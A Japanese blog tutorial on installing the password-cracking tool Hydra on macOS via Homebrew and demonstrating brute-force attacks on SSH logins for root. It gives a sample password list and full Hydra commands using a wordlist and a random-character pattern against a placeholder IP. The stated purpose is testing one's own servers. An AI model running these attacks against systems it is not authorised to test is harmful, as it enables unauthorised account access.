はじめに

macにhomebrewを使用してhydraをインストールしてクラックをデモしてみます。

hydraインストール

hydraはパスワードクラック用のライブラリです。
あるサーバのftpやssh、basic認証のパスをクラックします。
クラックを推奨しているわけではなく、自サーバがブルートフォースにあった場合に突破されにくいかどうかをチェックするためです。汗

インストール

まずはhydraの概要をチェックします

% brew info hydra                                                                                                                                                     (git)-[master]
hydra: stable 8.1 (bottled), HEAD
Network logon cracker which supports many services

https://www.thc.org/thc-hydra/

/usr/local/Cellar/hydra/8.1 (14 files, 1.2M) *
  Built from source with: --with-libssh
From: https://github.com/Homebrew/homebrew/blob/master/Library/Formula/hydra.rb
==> Dependencies
Build: pkg-config ✔
Required: openssl ✔
Optional: subversion ✘, libidn ✘, libssh ✔, pcre ✔, gtk+ ✘
==> Options
--with-gtk+
        Build with gtk+ support
--with-libidn
        Build with libidn support
--with-libssh
        Build with libssh support
--with-pcre
        Build with pcre support
--with-subversion
        Build with subversion support
--HEAD
        Install HEAD version

info情報の通り、opensshが必須です。インストールされていない場合(チェックになっていない)はインストールしてください

% brew install openssh

ではhydraをインストールします
libsshも必要なようなのでwithオプションでインストールします

% brew install hydra --with-libssh

これでインストールできました。
hydraのバージョンをチェックしてみましょう ※合わせてオプションを確認してみましょう

% hydra -v
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

-xオプションを使う場合のyosemite環境の対策

-xオプションはランダム(passlistがない場合 ※password辞書)なブルートフォースを行う場合に使えるオプションです。

/usr/includeディレクトリがない場合に-xオプションでエラーとなるため対応が必要です。
macのバージョンにより存在しないようでyosemite環境ではなかったです。marveric以降はないのかもしれません。

% hydra -x -h
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

[ERROR] -x option is not available as math.h was not found at compile time

※/usr/includeの直下にmath.hが必要です

以下のコマンドでダイアログが表示されるのでインストールしてください

% xcode-select --install

hydraでsshクラックデモ

今回はsshクラックのみ確認してみます

パスワードリストファイルを使用してブルートフォース

まずはパスワードリストファイルを作ります。適当です。

password
123456
abc123
hello
testtest

※ファイル名はpasslistとしておきます

よく使われるパスワードトップ500について参考:
http://www.symantec.com/connect/blogs/top-500-worst-passwords-all-time
※ここにあるパスワードは個人でパスワードとしては使わないほうが安全です

フォーマット

hydra -l [ユーザ名] -P [パスワード辞書ファイル] [対象サーバIPアドレス] ssh

ではクラックします

% hydra -l root -P passlist 123.456.789.000 ssh

※ユーザ名はroot,サーバIPは123.456.789.000として確認します。ユーザ名もパスワード同様に-Lオプションでクラック可能です。

うまくパスワードをクラックすると以下のようなメッセージになります

1 of 1 target successfully completed, 1 valid password found

ランダム値を使用してブルートフォース(-xオプション使用)

フォーマット

hydra -l [ユーザ名] -x [パスワードパターン] [対象サーバIPアドレス] ssh

[パスワードパターン]は MIN:MAX:CHARSET形式で指定します
MINからMAXまでの範囲の文字数のパスワードを設定します ※4:6であれば4文字から6文字の範囲
CHARSETは、1指定で数字、a指定でアルファベット小文字、A指定でアルファベット大文字を指します

ではクラックします

% hydra -l root -x 4:6:1aA 123.456.789.000 ssh

※ユーザ名はroot,サーバIPは123.456.789.000として確認します。

うまくパスワードをクラックすると以下のようなメッセージになります

1 of 1 target successfully completed, 1 valid password found

その他おすすめの備忘録

Tagged with:
 

コメントを残す